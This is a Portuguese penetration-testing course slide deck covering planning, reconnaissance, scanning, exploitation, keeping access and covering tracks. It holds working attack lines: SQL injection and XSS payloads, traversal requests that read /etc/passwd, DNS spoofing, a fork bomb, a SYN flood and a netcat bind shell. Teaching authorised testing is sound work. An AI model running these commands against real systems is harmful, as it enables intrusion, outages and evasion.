Rafael Soares Ferreira
Clavis Segurança da Informação
rafael@clavis.com.br
Teste de Invasão em
Redes e Sistemas
$ whoami
•  Grupo Clavis
•  Sócio Diretor Técnico
•  Detecção e resposta a incidentes de segurança
•  Testes de invasão em redes, sistemas e
aplicações.
Contatos
rafaelsoaresferreira@gmail.com
rafaelsoaresferreira
@rafaelsferreira
www.facebook.com/rafaelsoaresferreira
Disclaimer
O Curso de Teste de Invasão em Redes e Sistemas
da Academia Clavis tem o objetivo único de capacitar
profissionais para as práticas de testes e análises de
segurança de redes, sistemas e aplicações por meio
de ataques e invasões, realizados com
consentimento do proprietário ou possuidor da rede,
sistema ou aplicação.
Agenda
•  Introdução
•  Planejamento e preparação
•  Obtenção de Informações
•  Sondagem e mapeamento
•  Identificação de Vulnerabilidades
•  Invasão
•  Finalizando
l  Microsoft Windows Básico
l  Linux Básico
l  Redes TCP/IP Básico
Pré-Requisitos
l  Backdoor
l  Cavalo de Troia
l  Firewall
l  DMZ
l  IDS/IPS
l  Botnet
l  DoS/DDoS/DRDoS
Terminologia e Definições
l  Scanner
l  MITM
l  Sniffer
l  Spoofing
l  Hash
l  Criptografia Simétrica
l  Criptografia Assimétrica
Terminologia e Definições
l  Distribuição Linux baseada em Debian
l  Voltada para Testes de Invasão
l  Bom reconhecimento de hardware
l  Mais de 300 ferramentas atualizadas
l  http://www.kali.org/
Kali Linux
Pentest	
  
Teste	
  de	
  Conformidade	
  
Polí2ca	
  de	
  Segurança	
  
Teste de Invasão
Avaliação	
  de	
  Vulnerabilidades	
  
l  Atividade técnica controlada
l  Teste de segurança
l  Simulação de ataques reais
l  Tentativa de acesso não autorizado
Teste de Invasão
• Entender reais riscos que vulnerabilidades
específicas apresentam ao seu negócio
• Testar de fato a segurança de sua rede
ou sistema de informação
• Determinar se investimentos atuais estão
realmente detectando e prevenindo ataques
• É mais barato ser proativo!
Justificativa & Motivação
• Milestone para projetos entrarem ou não
em produção (“go live”)
• Manter-se em conformidade com normas
internacionais (ISO 27001, ISO 27002, HIPAA,
PCI-DSS, GLBA, FDIC, FISMA,SOX, ...)
• Lei de Wilson
Justificativa & Motivação
Um sistema é tão seguro quanto
sua parte mais fraca.
Justificativa
PenTesting
>> Arte Desmistificada
Simulação X Ataque Real
Metodologia
Documentação
Preocupação com o Cliente
Limitações
Autorização documentada
Simulação X Ataque Real
l  Ferramental:
è Gosto/Estilo
è Volátil
l  Técnica
è Necessidade
è Sólida/Robusta
Técnicas regem o ferramental!
Técnica e Ferramental
Etapas
(1) Obtenção de Informações
(2) Varreduras
(3) Invasão
(4) Mantendo Acesso
(5) Cobrindo Rastros
Permissão:
l  Por escrito
l  Assinada pelo responsável
Antes de qualquer teste...
Permissão:
l  Acordo legal
l  Define os tipos de atividades
l  Protege o(a) consultor(a) contra perdas
e danos que possam resultar do teste
Antes de qualquer teste...
l  Documentação viva:
l  ...ou seu logger de terminal favorito J
l  Atenção para programas gráficos!
è  Screenshots
è  ScreenCasts
# script -a -f pentest.log
Script started, file is pentest.log
#
Antes de digitar comandos...
Planejamento
&
Preparação
• Detalhes da Infraestrutura
• Acordo de confidencialidade (NDA)
• Equipamento e recursos necessários
• Relatório de linha do tempo
• Acesso a testes anteriores
• Inspeção física
Planejamento & Preparação
Escopo:
l  Objetivo/Propósito
l  Alvos
l  Profundidade
l  Exclusões
Planejamento & Preparação
Objetivo/Propósito
l  O que o cliente pretende obter com o teste de invasão?
l  Será que essa é a melhor escolha?
l  Será que estamos no momento
mais adequado?
Planejamento & Preparação
Alvos
l  O que definirá o teste como bem-sucedido?
l  Capture a bandeira
l  Tudo que puder conquistar
l  Violação de política
Planejamento & Preparação
Profundidade
l  Até onde devemos ir?
l  Quais as condições de parada?
l  “How much is too much?”
Planejamento & Preparação
Exclusões
l  Sistemas/Estruturas que não podem cair
ou serem modificadas
l  Parceiros/Acordos de Serviço
l  Exclusão completa x parcial
Planejamento & Preparação
Perfil do atacante :
l  Tipos de testes
l  Caixa preta, branca ou cinza?
Planejamento & Preparação
Como classificar atacantes?
A	
  
B	
  
C	
  
Planejamento & Preparação
Primeira Camada (A)
l  Programadores experientes
l  Não buscam publicidade
l  Dedicam boa parte de seu tempo ao estudo
e atualização
Planejamento & Preparação
Segunda Camada (B)
l  Conhecimento equivalente ao de bons
administradores de sistemas
l  Mais abrangência, menos profundidade
l  Contribuem regularmente em listas
l  Brincam com novas ferramentas
Planejamento & Preparação
Terceira Camada (C)
l  Dependem de scripts e “pacotes” pré-
prontos
l  Experimentação irresponsável
l  Conhecimento incompleto
l  Buscam notoriedade
Planejamento & Preparação
Marco Zero: Onde você está?
l  Ataques externos
l  Ataques internos
Planejamento & Preparação
Qual perfil apresenta maior risco para
o Cliente?
l  Escopo
l  Conhecimento
l  Determinação
Planejamento & Preparação
I - O que você sabe sobre o ambiente?
l  Blind (caixa preta)
l  Open (caixa branca)
l  Hybrid (híbrido)
Planejamento & Preparação
II - O que o ambiente sabe sobre você?
l  Teste anunciado
l  Teste não-anunciado
Quem está sendo testado?
Planejamento & Preparação
Conhecimento
do alvo sobre
o ataque
Conhecimento do atacante
sobre o alvo
Planejamento & Preparação
Tratamento de questões especiais:
l  Sistema alvo caiu
l  Dados sensíveis encontrados
l  Quem contatar?
Planejamento & Preparação
Sistema alvo caiu
l  Como detectar?
l  Como consertar?
Planejamento & Preparação
Dados sensíveis encontrados
l  Qual a definição de dados sensíveis?
l  Privacidade
Planejamento & Preparação
Pontos de Contato
è Nome
è Cargo
è Telefones
è Outros contatos (IM, email, etc)
è Chave Pública
è Horários
Planejamento & Preparação
Limitações de Tempo:
l  Restrições de Horário
l  Duração do teste
Planejamento & Preparação
Restrições de Horário
l  Backups e outras tarefas periódicas
l  Equipe de plantão (para questões especiais)
l  Janelas autorizadas
Planejamento & Preparação
Duração do Teste
l  Datas fixas x Janelas de tempo
l  Exclusões
Planejamento & Preparação
Vetores de Ataque
l  Classificação de vulnerabilidades
(estimativa de impacto provável)
l  Identificação de circuitos de ataques e cenários
para exploração
l  Caminho de menor resistência
l  Árvores de ataques
Planejamento & Preparação
Árvores de Ataque
l  Ataques intrusivos x não intrusivos
l  Orçamento, habilidade e acesso do atacante
l  Probabilidade de sucesso de cada ataque
l  Probabilidade de ocorrência de cada ataque
l  Como organizar sua infraestrutura e gerenciar
seu orçamento em segurança
Planejamento & Preparação
Planejamento & Preparação
Documento final
l  Sumário Executivo
l  Escopo do Projeto
(e partes fora do escopo)
l  Ferramentas (e exploits) utilizados
l  Data e hora dos testes nos sistemas
Estrutura do Relatório
Documento final
l  TODA saída dos testes realizados
l  Lista de todas as vulnerabilidades identificadas,
incluindo recomendações para resolver as questões
encontradas
l  Prioridades e soluções recomendadas
Estrutura do Relatório
Obtenção
de
Informações
l  Engenharia Social
l  Trashing (Dumpster Diving)
l  Whois
l  Entradas DNS
l  Buscas na Internet
l  Cópia de Website
l  FOCO é muito importante nessa fase
Obtenção de Informações
l  O modo mais simples de se obter uma
informação é pedindo por ela!
l  “Peopleware”
l  ES de tecnologia
è  Cavalos de Troia
è  Phishing
l  ES de contato direto
è  Pessoal
è  Via telefone/videoconferência
Engenharia Social
Obtenção de Informações
l  Conformidade
è  “10000 lemmings não podem estar errados”
l  Lógica
è  “Quanto mais queijo... menos queijo!”
l  Necessidade
è  “Pode me ajudar?”
Engenharia Social – Sete tipos de persuasão
Obtenção de Informações
l  Autoridade
è  “sabe com quem está falando?”
l  Reciprocidade
è  “quem quer rir...tem que fazer rir!”
l  Similaridade
è  “Espelho, espelho meu”
l  Informacional
è  “Como está o Wolfie? Ele está latindo”
Obtenção de Informações
Engenharia Social – Sete tipos de persuasão
Engenharia Social
Confiança não é algo que se dá,
é algo que se conquista.
l  Paciência
l  Inspirar confiança (pertencer ao lugar)
l  Engenharia Social Reversa
Obtenção de Informações
Engenharia Social
l  Atenção com a legislação!
l  Carregue sempre uma cópia da autorização
Obtenção de Informações
Trashing
l  Lixo corporativo geralmente expõe muita informação
l  Classificação da informação e controles
l  Armazenamento
l  Compartilhamento
l  Descarte
Obtenção de Informações
Whois (RFC 3912)
Obtenção de Informações
Whois
l  Nomes
l  Endereços
l  Contatos
l  Servidores DNS
$ whois dominio
$ whois IP
Obtenção de Informações
Podemos confiar no Whois?
l  Registros privados
l  Veracidade das informações
l  Descentralização de servidores Whois
è  Dados genéricos x especializados
è  Propagação de atualizações
Obtenção de Informações
l  Contatos técnicos e administrativos
l  Dados para cobrança
l  Servidores de nome autoritativos
Obtenção de Informações
Whois – Informações Interessantes
DNS
Como funciona o DNS? (RFCs 1034/1035)
Buscas recursivas entre servidores regionais
e top-level domains (ccTLD/gTLD)
Obtenção de Informações
Entradas DNS
l  IP (A/AAAA)
l  Nome Canônico (CNAME)
l  Correio Eletrônico (MX)
l  Start of Authority (SOA)
l  Name Servers (NS)
l  Texto arbitrário (TXT)
l  Outras (HINFO, SRV, PTR, ...)
Obtenção de Informações
Colhendo Entradas DNS
Estrutura
$ dig @servidor_dns maquina (-x IP) tipo
Rastreando caminho
$ dig +trace www.site.com.br
Transferência de Zona
$ dig @servidor_dns dominio axfr
Obtenção de Informações
Colhendo Entradas DNS
Transferência de Zona no com NSLOOKUP
C:> nslookup
> server [servidor_DNS]
> set type=any
> ls -d [dominio]
Obtenção de Informações
Buscas na Internet (google hacking)
l  Crawlers não sabem o que deve ser privado
(robots.txt é apenas uma recomendação)
l  Cache pode continuar expondo informação
Obtenção de Informações
Buscas na Internet (google hacking)
l  Identificação de servidores
l  Servidores negligenciados
l  Listagem de diretórios
l  Senhas
l  Bancos de dados
l  Relatórios de Segurança
l  Informações sensíveis
Obtenção de Informações
Buscas na Internet (google hacking)
l  Curingas:
inclusão/exclusão (+ -)
asterisco (*)
sinônimos (~)
l  Restrições:
site:
filetype: (ou ext:)
link:
Obtenção de Informações
Buscas na Internet (google hacking)
l  Operadores especiais (com equivalentes “all”):
intitle:
inurl:
intext:
inanchor:
cache:
Obtenção de Informações
Buscas na Internet (google hacking)
l  Listas de discussão
l  Arquivos compartilhados
l  Perfis em redes sociais
l  Blogs e/ou páginas pessoais de colaboradores
Obtenção de Informações
Buscas na Internet (google hacking)
l  Como retirar suas informações do google?
l  Controlando os “crawlers”
l  noindex meta tag
l  robots.txt
l  Solicitando ao Google
l  Google Webmaster tools
Obtenção de Informações
Buscas na Internet (google hacking)
l  SiteDigger
l  Explora o cache do Google atrás de:
l  Vulnerabilidades
l  Mensagens de erro
l  Configurações inseguras
l  Informações sensíveis
l  Etc
Obtenção de Informações
Buscas na Internet (google hacking)
l  Google Hacking Database - GHDB
l  Buscas que retornam resultados interessantes
l  Organizadas por categorias
Obtenção de Informações
Cópia de Website
l  Análise offline
l  Experimentação passiva
l  Mirroring para phishing
Obtenção de Informações
Cópia de Website
l  Funcionalidade spider de alguns proxies
l  Ferramenta HTTrack / WEBHTTrack
Obtenção de Informações
Cópia de Website - HTTrack
httrack www.site.com.br --depth=N
--robots=0 --keep-alive --tolerant
--user-agent “Googlebot/2.1”
Outros UAs interessantes:
Opera 9.21: “Opera/9.21 (Windows NT 5.1; U; en”
Internet Explorer 7.0: “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)”
Firefox 2.0.11: “Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11)
Gecko/20071127 Firefox/2.0.0.11
Obtenção de Informações
Obtenção de Informações
Cópia de Website - WEBHTTrack
Robô local X Robô de Internet
l  buscas são restritas a links e listagens de diretório
è  um robô local é mais confiável.
è  um robô de Internet pode ter mais links.
Obtenção de Informações
Varreduras
l  Wardriving
l  Mapeamento de Redes
l  Port Scan
l  Detecção passiva de SO
Varreduras
l  Mapeando Firewalls
l  Vulnerabilidades
l  Web
l  NULL Sessions
Wardriving
Varreduras
Sniffing e quebra de redes sem fio (Wireless)
l  Kismet
l  Suite “aircrack-ng”:
è  airodump
è  aireplay
è  aircrack
Mapeamento de Redes
l  Entender a topologia da rede
l  Mapear dispositivos
l  Redes internas, Gateways, DMZs ...
Varreduras
Busca por hosts vivos
•  Varreduras por portas e vulnerabilidades
podem demorar muito!
•  Se o alcance da varredura for muito grande,
limite-a a apenas hosts vivos
Varreduras
Detecção de Serviços
l  Varreduras Algumas portas são reservadas para
determinados serviços
$ cat /etc/services | grep PORTA
l  Mas na prática podemos usar qualquer uma!
Varreduras
Detecção de Sistemas Operacionais
l  RFC's não implementados na íntegra
l  Padrões de comportamento em intercomunicação
Varreduras
Port Scan
l  Ping Sweeping
l  TCP 3-Way Handshake e outras “flags”
l  Portas oficiais para determinados serviços
Varreduras
Port Scan - Nmap
l  Diversos tipos de varreduras
l  Possui interface gráfica (Zenmap)
l  Disponível para Unix e Windows
Varreduras
Port Scan - Nmap
Varreduras
# nmap -sS -sV -f -PN -O -v -v -g53 -T1 172.16.1.254
Varredura TCP SYN (Half-Open)
Envia pacote SYN, como se estivesse tentando abrir uma conexão
TCP. Se o alvo retornar SYN|ACK, marca a porta como aberta e envia
RST. Senão (alvo retornou RST), porta é marcada como fechada.
Alternativas:
-sT (utiliza a chamada de sistema “connect()”. Fácil detecção)
-sP (envia pedidos de ICMP echo (ping) para as portas)
Varreduras subreptícias (RFC 793):
-sF (envia pacotes FIN simples, e espera RST de portas fechadas)
-sX (idem, mas marca FIN, URG e PUSH (Xmas Tree))
-sN (idem, mas não ativa nenhuma flag (Null scan))
Port Scan - Nmap
-sU determina portas UDPs abertas no alvo
-sI [host[:porta]] Idlescan, faz varredura “cega”, onde nenhum pacote vem
da sua máquina.
-b [ftp] usa servidor ftp como “proxy” (RFC 959)
-oN [arq] gera registro (log) da varredura
--resume [arq] permite resumir varredura, a partir de arquivo de log gerado
--exclude [host,host,...] não varre hosts especificados
-p [portas] Determina quais portas olhar (20-30,139,60000-)
-D [host, ME, ...] Finge que outros hosts também estão fazendo uma varredura
Varreduras
Varreduras
Port Scan - xprobe2
l  Fingerprinting de Sistema Operacional
l  Fuzzy Signature Matching
l  Palpites probabilísticos
l  Estrutura modular (-L para lista de módulos)
Varreduras
Port Scan - netstat
l  Verificação local
l  Windows:
netstat -na
netstat -nao
netstat -nab
l  Unix:
netstat -tupan
Varredura TCP connect()
SYN	
  
SYN/ACK
ACK	
  
Varreduras
Varredura TCP SYN (half-open)
SYN	
  
SYN/ACK
SYN	
  
RST	
  
Varreduras
Varredura TCP Null
*cri* *cri*
*cri* *cri*
RST	
  
Varreduras
Varredura TCP FIN
FIN	
  
FIN	
  
RST	
  
Varreduras
Varredura TCP Xmas (Árvore de Natal)
FIN/PSH/URG
FIN/PSH/URG
RST	
  
Varreduras
Varredura TCP ACK
ACK	
  
ACK	
  
RST	
  
Varreduras
Varredura de Janela TCP
ACK	
  
ACK	
  
RST	
  
Varreduras
Varredura TCP Maimon
FIN/ACK
FIN/ACK
RST	
  
RST ?
Varreduras
Varredura TCP Ociosa (Idlescan)
Passo 1: encontre um bode expiatório :-)
SYN/ACK
RST (id+1)
Varreduras
Varredura TCP Ociosa (Idlescan)
SYN (IP falso)
RST	
  
SYN/ACK
SYN/ACK
RST (id+2)
Varreduras
SYN (IP falso) RST	
  
SYN/ACK
RST (id+1)
Varreduras
Varredura TCP Ociosa (Idlescan)
Varredura FTP Bounce
Envie o arquivo
para ALVO, porta X
Oi ALVO!
segue arquivo
Varreduras
Varredura UDP
*cri* *cri*
*cri* *cri*
ICMP Port
Unreachable
Varreduras
Detecção Passiva de SO
Varreduras
p0f
l  Determina SO e outras configurações
l  Analisa estrutura de pacotes TCP/IP
l  Fingerprinting completamente passivo
(não gera tráfego malicioso)
Detecção Passiva de SO
Varreduras
p0f
Completamente passivo?
l  Alvo precisa conectar-se (ou ser conectado)
em sua rede, de forma espontânea ou induzida:
è  devolvendo email inválido
è  fazendo lookups
è  aceitando (ou recusando!) web, ftp, ssh, etc
è  imagem/html externo em email
l  Identificação de Serviços Vulneráveis
l  Senhas padrão
l  Correlacionamento de vulnerabilidades:
identificando falsos positivos/negativos
l  Enumeração de vulnerabilidades encontradas
Varreduras
Vulnerabilidades
l  Catálogo de dispositivos autorizados/não autorizados
l  Catálogo de softwares autorizados/não autorizados
l  Configuração segura para hardware e software
l  Análise de vulnerabilidades e correção das mesmas
l  Proteção contra malware
l  Segurança de aplicações
l  Controle de dispositivos sem fio
l  Capacidade de recuperação de dados
l  Capacidade para avaliação de segurança e
treinamento apropriado
l  Configurações seguras de dispositivos de rede
Varreduras
Vulnerabilidades - SANS/FBI Top 20
l  Limitação e controle de portas, protocolos e serviços
l  Uso controlado de privilégios administrativos
l  Proteção de perímetro
l  Proteção, monitoramento e análise de logs de
segurança
l  Controle de acesso
l  Monitoramento e controle de conta
l  Prevenção de perda de dados
l  Capacidade de resposta a incidentes
l  Engenharia de Segurança de Rede
l  Testes de invasão e exercícios de resposta a
incidentes
Varreduras
Vulnerabilidades - SANS/FBI Top 20
l  Varredor de vulnerabilidades #1
l  Grande variedade de plugins
l  Atualizações constantes
l  Desde a versão 3 não é mais GPL
Varreduras
Vulnerabilidades - Nessus
# nessus-fetch --register CÓDIGO_DE_ATIVAÇÃO
# nessus-mkcert
# nessus-adduser
Regras (Política de uso)
l  accept (ou deny) IP/MÁSCARA (ou client_ip)
l  default (accept ou deny)
Varreduras
Vulnerabilidades – Nessus (Servidor)
# nessus-fetch --plugins
# tar zxf all-2.0.tar.gz DIRETORIO_DE_PLUGINS
# nessus-update-plugins
# nessus-fetch --check
# nessusd start
Varreduras
Vulnerabilidades – Nessus (Servidor)
l  SARA
l  OpenVAS
l  MBSA
l  Core Impact
l  GFI LANguard
l  QualysGuard
l  SAINT
l  Retina
Varreduras
Vulnerabilidades
l  Localização de arquivos/diretórios/CGI
l  Identificação de servidores
l  Identificação de vulnerabilidades
l  Recursos contra IDSs
l  SSL e Proxy
ü  Nikto
ü  Wikto
ü  Burp Suite
ü  HP WebInspect
ü  Acunetix WVS
Varreduras
Web
# nikto.pl -h ALVO -p PORTA
-useproxy
-update
-Cgidirs “/dir1/ /dir2/ /dir3/ ...”
-evasion TIPO
-Format (csv,html,txt,xml)
-output ARQUIVO
-mutate TIPO
-Tuning TIPO
Opções extras (“-Help” para lista detalhada)
Varreduras
Web - Nikto
NULL Sessions
l  Usuário SYSTEM com privilégios ilimitados
l  Não é capaz de fazer “log on”
l  Acessa informações em outras máquinas
através de NULL SESSIONS
C:> net use [alvo]ipc$ “” /u:””
C:> net view [alvo]
Varreduras
NULL Sessions - Winfingerprint
• Possui suporte a SNMP
l  Varredura de portas através de TCP e UDP
l  Não faz ataques por força bruta
Varreduras
Invasão
Invasão
l  Sniffing
l  Sequestro de Sessão
l  DNS Cache Poisoning
l  Buffer Overflow
l  Quebra de Senha
l  Injeção de SQL
l  Cross-site Script (XSS)
l  Directory Traversal
l  Proxies
l  Negação de Serviço
Sniffing
l  Quem está falando com quem
l  Modo Promíscuo
l  Hubs X Switchs
Invasão
Invasão
Sniffing – Tcpdump
l  Ferramenta tradicional de captura de tráfego
l  Aceita filtros por expressões
l  Biblioteca padrão para captura de tráfego: libpcap
Invasão
Sniffing - Wireshark
l  Mais completo dos analisadores de tráfego
l  Possibilita remontar uma sessão
l  Estrutura em árvore
l  Possibilidade de criação de filtros
Sniffing - Dsniff
l  Conjunto de ferramentas para sniffing
dsniff
arpspoof
macof
tcpkill
tcpnice
msgsnarf
filesnarf
mailsnarf
urlsnarf
webspy
dnsspoof
webmitm
sshmitm
Invasão
Sequestro de Sessão
l  Basicamente: sniffing + spoofing
l  Somente para protocolos orientados a conexão
l  Comprometimento de “end-points”
Invasão
Sequestro de Sessão - Ettercap
l  Sniffing passivo ou ativo
l  Interface Gráfica
l  Coleta senhas em protocolos como:
Telnet, FTP, POP, HTTP, SMB, dentre outros.
Invasão
Invasão
ettercap [OPCOES] ALVO1 ALVO2
(ALVO == MAC/IPs/Portas)
-T (texto) [-q] ou -C (curses) ou -G (gtk)
-P nome_do_plugin (“-P list” exibe todos)
-R (sniffing reverso em relação aos alvos)
--mitm (ou -M)
arp:[remote|oneway]
icmp:MAC/IP (do gateway real)
dhcp:pool_de_IPs/netmask/dns
port:[remote|tree]
Ettercap
Invasão
Sequestro de DNS
l  Falsificação “perfeita” de sites
l  Ataques de Negação de Serviços (DoS)
l  Ataques MITM
l  Pode ser dividido em:
è  Ataques a servidores de DNS
è  Ataques a roteadores
è  Ataques a hosts
l  Utilizado pelo “Projeto Escudo Dourado”
Invasão
Sequestro de DNS
l  Ataques a servidores de DNS
l  Open-Resolvers
l  Reverse Domain Hijacking (explorando
ambientes de “tolerância zero”)
l  DNS Cache Poisoning
è  adicionando informações “extras”
às requisições para o DNS comprometido
è  respondendo antes do servidor real!
Invasão
Sequestro de DNS
l  Ataques a roteadores
l  A maioria dos roteadores modernos
passam informações de DNS dinamicamente
para clientes que entram na rede.
l  Acesso às configurações de roteadores
pode propagar servidores DNS maliciosos
por toda a rede
l  Modificações no firmware do roteador podem
dificultar ainda mais a detecção
Invasão
Sequestro de DNS
l  Ataques a arquivos hosts
l  *NIX: /etc/
l  Win NT/2K/2K3/XP/Vista: determinado por
“HKEY_LOCAL_MACHINESYSTEMCurrentControlSet
ServicesTcpipParametersDataBasePath”;
normalmente em %SystemRoot%System32driversetc
l  Win 9x: %WinDir%
l  Mac OS X: /private/etc
l  Symbian: C:systemdata (1a e 2a edições)
C:private10000882 (3a edição)
Invasão
Sequestro de DNS
# echo “127.0.0.1 *.alvo.com.br” > hosts.txt
# dnsspoof -i eth0 -f hosts.txt
# ettercap -Tq -M arp // // -P dns_spoof
(arquivo “/usr/share/ettercap/etter.dns”)
Buffer Overflow
l  Não verificação de limites extremos
l  Essência dos exploits de binários
l  Pré-datam a própria linguagem C (1972)
l  Stack, Heap, Integer, ...
Invasão
Invasão
Formas de abusar de sistemas exploram:
l  Vulnerabilidades em software
l  Configurações fracas
l  Problemas intrínsecos à protocolos
l  Senhas fracas
l  Pessoas & Processos
Invasão
l  Encontrar código/ferramenta/atividade para PoC
l  Desenvolver, caso necessário
(e definido no escopo):
- Metasploit
- SecurityForest Exploitation Framework
- Attack Tool Kit (ATK)
- CANVAS
- Core Impact
- SAINTexploit
Invasão
Metasploit Framework
l  Plataforma para desenvolvimento de exploits
l  Flexível e portátil
l  Fácil de usar
l  Extremamente poderosa
l  v2 e v3
Invasão
Metasploit Framework: Console
# msfconsole
=[ metasploit v4.8.0-2013112001 [core:4.8 api:1.0]
+ -- --=[ 1220 exploits - 667 auxiliary - 191 post
+ -- --=[ 324 payloads - 30 encoders - 8 nops
msf
_ _	
/  / __ _ __ /_/ __	
| | / | _____   ___ _____ | | /  _  	
| | /| | | ___ |- -| / / __ | -__/ | || | || | |- -|	
|_| | | | _|__ | |_ / - __  | | | | __/| | | |_	
|/ |____/ ___/ / ___/ / __| |_ ___
Invasão
Metasploit Framework: Console
msf search TIPO EXPRESSAO
msf info MODULO
msf use MODULO
msf exploit () show options
RHOST, RPORT, LHOST, LPORT, TARGET, ...
msf exploit () set VAR VALOR
msf exploit () exploit
Invasão
Metasploit Framework: GUI
# ./msfgui
Invasão
Metasploit Framework: Interface Web
# ./msfweb
Invasão
Metasploit Framework
l  Testar em ambiente controlado
l  Usar contra o(s) alvo(s)
l  Confirmar/refutar vulnerabilidade em questão
l  Documentar resultados
Invasão
Quebra online de senhas
l  Roubo de senhas
è  sniffing
è  MITM
è  keyloggers
è  engenharia social
l  Força bruta remota (THC-Hydra)
è  senhas padrão
è  senhas comuns
Invasão
Quebra offline de senhas
l  Roubo de senhas
è  %SystemRoot%System32configSAM
è  /etc/shadow
è  escutando (redes, pessoas)
l  samdump/pwdump6/fgdump
l  John The Ripper
l  Cain and Abel
l  RainbowCrack
l  Exploração de Bancos de Dados SQL sem prévia
validação (correta) do pedido (query)
l  Exposição, manipulação e remoção de dados sensíveis
l  Execução de comandos no sistema
l  Relativamente simples de ser explorado (analisando
mensagens de erro do BD)
Injeção de SQL
Invasão
SELECT id FROM usuarios
WHERE nome = '$nome'
AND senha = '$senha'
;
form method=post action=http://SITE/login.php
input name=nome type=text id=nome
input name=senha type=password id=senha
/form
Client-Side:
Server-Side:
Injeção de SQL
Invasão
' OR 'a'='a
SELECT id FROM usuarios
WHERE nome = '$nome'
AND senha = '' OR 'a'='a'
;
Client-Side: O Exploit!
Server-Side:
Injeção de SQL
Invasão
http://xkcd.com/327/
Injeção de SQL
Invasão
l  Alguns sites não enviam mensagens de erro do Banco de
Dados, dificultando ataques
l  Ataque às cegas explora resultados de sucesso/falha com
injeções AND para mapear o BD
ü  Absinthe
http://SITE/noticias.jsp?id=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects
WHERE xtype='U'), 1, 1)))  110
Injeção de SQL: BLIND
Invasão
l  Tipo 0: Execução de código (DOM).
Requer engenharia social
l  Tipo 1: Não persistente (Roubo de informação).
Requer engenharia social.
l  Tipo 2: Persistente (Injeção de código).
Não requer engenharia social.
http://SITE/search.php?q=%3Cscript%3Ealert
%28%91Aloha%20%92%29%3C%2Fscript%3E
Cross-site Scripting (XSS)
Invasão
l  Mapeamento da árvore do sistema de arquivos
l  Acesso a arquivos específicos
l  Bug do Unicode em versões antigas do IIS
GET http://ALVO/scripts/..%255c../winnt
/system32/cmd.exe?/c+dir+c:
Directory Traversal
Invasão
?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( /home/users/phpguru/templates/ . $template );
?
l  Request criada para explorar o código:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
l  Resposta do servidor:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1::/:/bin/bash
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100::/home/phpguru/:/bin/csh
Directory Traversal
Invasão
l  Interceptação de mensagens HTTP e HTTPS
l  Manipulação de cookies e formulários
l  Scanning, e muito mais
ü  PAROS
ü  OWASP WebScarab
ü  Burp Suite
Invasão
Proxies
l  Desempenho extremamente baixo
l  Indisponibilidade completa
l  Podem ser parte de ataque elaborado,
geralmente envolvendo spoofing
Invasão
Negação de Serviço
l  Consumo de recursos computacionais como
banda, espaço em disco ou tempo de CPU
l  Quebra de arquivos de configuração
l  Quebra de informação de estados
l  Quebra de componentes físicos
l  Obstrução de canais de comunicação
Invasão
Negação de Serviço
l  Exploram erros em aplicações...
l  ...ou entopem algum recurso
(CPU, Memória, disco, etc)
$ dd if=/dev/zero of=/var/spool/mail/MEU_USUARIO
$ perl -e 'while(1) { fork();
open $fh, “/proc/meminfo”;
open $hf, “/tmp/bla”; }'
Invasão
Negação de Serviço
l  Ataques Distribuídos (DDoS)
l  Ataques Distribuídos Refletidos (DRDoS)
l  Ataques de Amplificação
l  Ataques Permanentes (PDoS)
Invasão
Negação de Serviço
l  Smurf Attack
è  envia pedidos ICMP para endereços de
broadcast com IP da vítima como origem
l  Ping flood
è  envia mais pedidos ICMP echo do que a
vítima pode tratar
l  SYN flood
è  abre mais conexões TCP do que a
vítima pode traar
l  Teardrop/Nuke/Ping of Death
Invasão
Negação de Serviço
# tcpnice -i eth0 EXPRESSAO_FILTRO
# tcpkill -i eth0 -[1..9] EXPRESSAO_FILTRO
# hping3 --flood --interface eth0
--spoof IP_ORIGEM (ou --rand_source)
-S -p PORTA_ALVO IP_ALVO
Invasão
Negação de Serviço
Mantendo
Acesso
l  Artefatos Maliciosos
l  Backdoors
l  Cavalos de Troia
l  Wrappers / Packers
l  Rootkits
Mantendo Acesso
Mantendo Acesso
$ nc -u -l -p 53 -e /bin/sh (ou cmd.exe)
# nc -u IP_ALVO 53
Cobrindo
Rastros
l  Escondendo Arquivos
l  Editando Logs
l  Escondendo Tráfego
l  Esteganografia
Cobrindo Rastros
Cobrindo Rastros
Escondendo Arquivos
l  /usr/bin/ [tab][tab]
Display all 1986 possibilities? (y or n)
l  Processos comuns (ps!)
l  /dev/, /tmp
Segurança Física
l  Pontos de rede
l  Informações expostas
l  Conversas de funcionários
l  Janelas, fechaduras e portas de acesso
l  Pontos de entrada
l  Guardas/Recepcionistas
l  Lixo
Segurança Física
RFIDs, Biometria
Muito Obrigado!
rafael@clavis.com.br
Rafael Soares Ferreira
Clavis Segurança da Informação
@rafaelsferreira

teste de invasão

  • 1.
    Rafael Soares Ferreira ClavisSegurança da Informação rafael@clavis.com.br Teste de Invasão em Redes e Sistemas
  • 2.
    $ whoami •  GrupoClavis •  Sócio Diretor Técnico •  Detecção e resposta a incidentes de segurança •  Testes de invasão em redes, sistemas e aplicações.
  • 3.
  • 4.
    Disclaimer O Curso deTeste de Invasão em Redes e Sistemas da Academia Clavis tem o objetivo único de capacitar profissionais para as práticas de testes e análises de segurança de redes, sistemas e aplicações por meio de ataques e invasões, realizados com consentimento do proprietário ou possuidor da rede, sistema ou aplicação.
  • 5.
    Agenda •  Introdução •  Planejamentoe preparação •  Obtenção de Informações •  Sondagem e mapeamento •  Identificação de Vulnerabilidades •  Invasão •  Finalizando
  • 6.
    l  Microsoft WindowsBásico l  Linux Básico l  Redes TCP/IP Básico Pré-Requisitos
  • 7.
    l  Backdoor l  Cavalode Troia l  Firewall l  DMZ l  IDS/IPS l  Botnet l  DoS/DDoS/DRDoS Terminologia e Definições
  • 8.
    l  Scanner l  MITM l Sniffer l  Spoofing l  Hash l  Criptografia Simétrica l  Criptografia Assimétrica Terminologia e Definições
  • 9.
    l  Distribuição Linuxbaseada em Debian l  Voltada para Testes de Invasão l  Bom reconhecimento de hardware l  Mais de 300 ferramentas atualizadas l  http://www.kali.org/ Kali Linux
  • 10.
